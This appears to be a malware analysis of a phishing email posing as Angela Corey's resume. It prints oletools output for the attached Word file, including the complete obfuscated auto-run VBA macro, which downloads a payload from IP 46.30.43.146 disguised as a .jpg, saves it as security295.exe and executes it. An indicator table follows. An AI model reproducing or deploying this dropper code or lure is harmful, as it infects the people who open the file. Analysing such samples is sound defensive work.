Hello my name is Angela Corey DOC file is my resume
I would appreciate your immediate attention to this matter

Best regards

Angela Corey

# file Angela_Corey_resume.doc
Angela_Corey_resume.doc: Microsoft Word 2007+

# strings vbaProject.bin

B.Recor
mBin
mBina
ADODB.Records
Binar
mBina
WScript.Shel
PDATA
\Firewall
Scripting.FileS
ystemObjec
Scripting.F
ileSystemObje
security295
.exe
Scripti
ileSystemObj
WinHttp.WinHttpRequest.5
http
//46.30.43.146/888.jp
nkiOaWsg$
WScrip
control.exe 
day we
ve g
:
:
:
,PxUS
niDcTOFg
20`cQ,u
+O+;
o*c*l
)]'A
BWRTXlXH
Arra
y("WScri
pt.Shel
YXnLT
Join(A
, "")
StfEUfoo
MBoi
andEnvir
ngs ("%AP
:
:
:
ugFEbV
hVBtNfWu
"secur
ity295"
".exe
pPFsD
    d&0[
Special
tFpBXEt
gT`mhzpN0
inHttp.t
Request.
+ ".
LehfDp
//46.30.43.146/ 888.jp
Bt "GET
senvd
Deleteya
tatus
iKXMJNLi
LqoaK
pC`eCWYp1;
eBod
:
:
:
blpPFsD
GetSpecialFolderQ\0
tFpBXEt,g0
gTmhzpN
LehfDp
send
FileExists
DeleteFileO
Status
iKXMJNLiLqoaK
CreateTextFile
eCWYpi?T0
responseBodyT
qvkdmDcQBJU
ctLSWfsRxD/
Run_
AutoOpen
dEHZWkPjPiJea`
Workbook_Open
Project
rstd
ole>
\G{00020
430-
0046}#
2.0#0#C:
\WINDOWS
\system3
e2.tlb
#OLE Aut
omation
ENormal
*,\C
!Offic
!G{2DF
8D0
:
:
:

WScript.Shell
WinHttpRequest
http 46.30.43.146/888.jpg

olevba 0.31 - http://decalage.info/python/oletools
Flags        Filename                                                        
-----------  -----------------------------------------------------------------
OLE:MASI-B-V vbaProject.bin

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: vbaProject.bin
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: vbaProject.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub Auto_Open()
EjhWlOe
End Sub

Function IiDfjVyT(IGjPXjONaLDNw)
Dim SmRbpvFTCs, NPeoYdbIGjPXjONaLDNw, ojHYpQbvLzIWHtz
Const gpfgLnG = 205
Set SmRbpvFTCs = CreateObject("ADO" + "D" + "B.Recor" + "ds" + "e" + "t")
NPeoYdbIGjPXjONaLDNw = LenB(IGjPXjONaLDNw)
If NPeoYdbIGjPXjONaLDNw > 0 Then
SmRbpvFTCs.Fields.Append "mBin" + "ar" + "y", gpfgLnG, NPeoYdbIGjPXjONaLDNw
SmRbpvFTCs.Open
SmRbpvFTCs.AddNew
SmRbpvFTCs("mBi" + "nar" + "y").AppendChunk IGjPXjONaLDNw & ChrB(0)
SmRbpvFTCs.Update
ojHYpQbvLzIWHtz = SmRbpvFTCs("mBina" + "r" + "y").GetChunk(NPeoYdbIGjPXjONaLDNw)
End If
IiDfjVyT = ojHYpQbvLzIWHtz
End Function

Function ynMGeHODmDvo(cwtHLWqOdiD)
Dim pDdoTTOVXudoMzr
If VarType(cwtHLWqOdiD) = 8 Then pDdoTTOVXudoMzr = IiDfjVyT(cwtHLWqOdiD) Else pDdoTTOVXudoMzr = cwtHLWqOdiD
Dim hoflIHaJ, wxluhIIMMnelbk
Const PxUSniDcTOFg = 201
Set hoflIHaJ = CreateObject("ADODB.Records" + "e" + "t")
wxluhIIMMnelbk = LenB(pDdoTTOVXudoMzr)
If wxluhIIMMnelbk > 0 Then
hoflIHaJ.Fields.Append "m" + "Binar" + "y", PxUSniDcTOFg, wxluhIIMMnelbk
hoflIHaJ.Open
hoflIHaJ.AddNew
hoflIHaJ("mB" + "i" + "nar" + "y").AppendChunk pDdoTTOVXudoMzr
hoflIHaJ.Update
ynMGeHODmDvo = hoflIHaJ("mBina" + "r" + "y")
Else
ynMGeHODmDvo = ""
End If
End Function

Sub EjhWlOe()
BWRTXlXHlVI = Array("WScript.Shel" + "l")
Set YXnLTb = CreateObject(Join(BWRTXlXHlVI, ""))
TStfEUfooMBoi = YXnLTb.ExpandEnvironmentStrings("%AP" + "PDATA" + "%")
Dim dzOvcPyK: dzOvcPyK = TStfEUfooMBoi & "\Firewall"
srBDSCleUrzi = Array("Scripting.FileS" + "ystemObjec" + "t")
Set GmHhPUWOqk = CreateObject(Join(srBDSCleUrzi, ""))
If (GmHhPUWOqk.FolderExists(dzOvcPyK)) Then
Else
JMHJPbq = Array("Scripting.F" + "ileSystemObje" + "c" + "t")
Set QzHObsnczpjfE = CreateObject(Join(JMHJPbq, ""))
QzHObsnczpjfE.CreateFolder dzOvcPyK
End If
gFEbVhVBtNfWuh = "security295" & ".exe"
BWRTXlXHlVI = Array("Scripti" + "ng." + "F" + "ileSystemObj" + "ec" + "t")
Set YXnLTb = CreateObject(Join(BWRTXlXHlVI, ""))
blpPFsD = YXnLTb.GetSpecialFolder(2) & "\" + "\"
tFpBXEt = blpPFsD & gFEbVhVBtNfWuh
gTmhzpN = Array("WinHttp.WinHttpRequest.5" + "." + "1")
Set LehfDp = CreateObject(Join(gTmhzpN, ""))
wYSmDVqegs = "http" + ":" + "//46.30.43.146/888.jp" + "g"
LehfDp.Open "GET", wYSmDVqegs, False
LehfDp.send
If YXnLTb.FileExists(tFpBXEt) Then
YXnLTb.DeleteFile (tFpBXEt)
End If
If LehfDp.Status = 200 Then
Set iKXMJNLiLqoaK = YXnLTb.CreateTextFile(tFpBXEt, True)
eCWYpi = LehfDp.responseBody
iKXMJNLiLqoaK.Write bMteCzUXNAP(eFguALjroUX(eCWYpi), "nkiOaWsg")
iKXMJNLiLqoaK.Close
End If
   
If YXnLTb.FileExists(tFpBXEt) Then
qvkdmDcQBJU = tFpBXEt
ctLSWfsRxD = Array("WScrip" + "t.S" + "he" + "l" + "l")
CreateObject(Join(ctLSWfsRxD, "")).Run qvkdmDcQBJU
CreateObject(Join(ctLSWfsRxD, "")).Run "control.exe " & qvkdmDcQBJU
End If
End Sub

Sub AutoOpen()
dEHZWkPjPiJea = "To" + "day we " + "ha" + "ve g" + "ood ne" + "w" + "s"
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | AutoOpen             | Runs when the Word document is opened   |
| AutoExec   | Auto_Open            | Runs when the Excel Workbook is opened  |
| AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Run                  | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | ChrB                 | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | Xor                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | CreateTextFile       | May create a text file                  |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command (obfuscation: VBA expression)   |
| Suspicious | WScript.Shell        | May run an executable file or a system  |
|            |                      | command (obfuscation: VBA expression)   |
| Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
|            |                      | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
|            | Strings              | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| IOC        | 46.30.43.146         | IPv4 address                            |
| IOC        | control.exe          | Executable file name                    |
| IOC        | hxxp://46.30.43.146/ | URL (obfuscation: VBA expression)       |
|            | 888.jpg              |                                         |
| IOC        | 46.30.43.146         | IPv4 address (obfuscation: VBA          |
|            |                      | expression)                             |
| IOC        | security295.exe      | Executable file name (obfuscation: VBA  |
|            |                      | expression)                             |
+------------+----------------------+-----------------------------------------+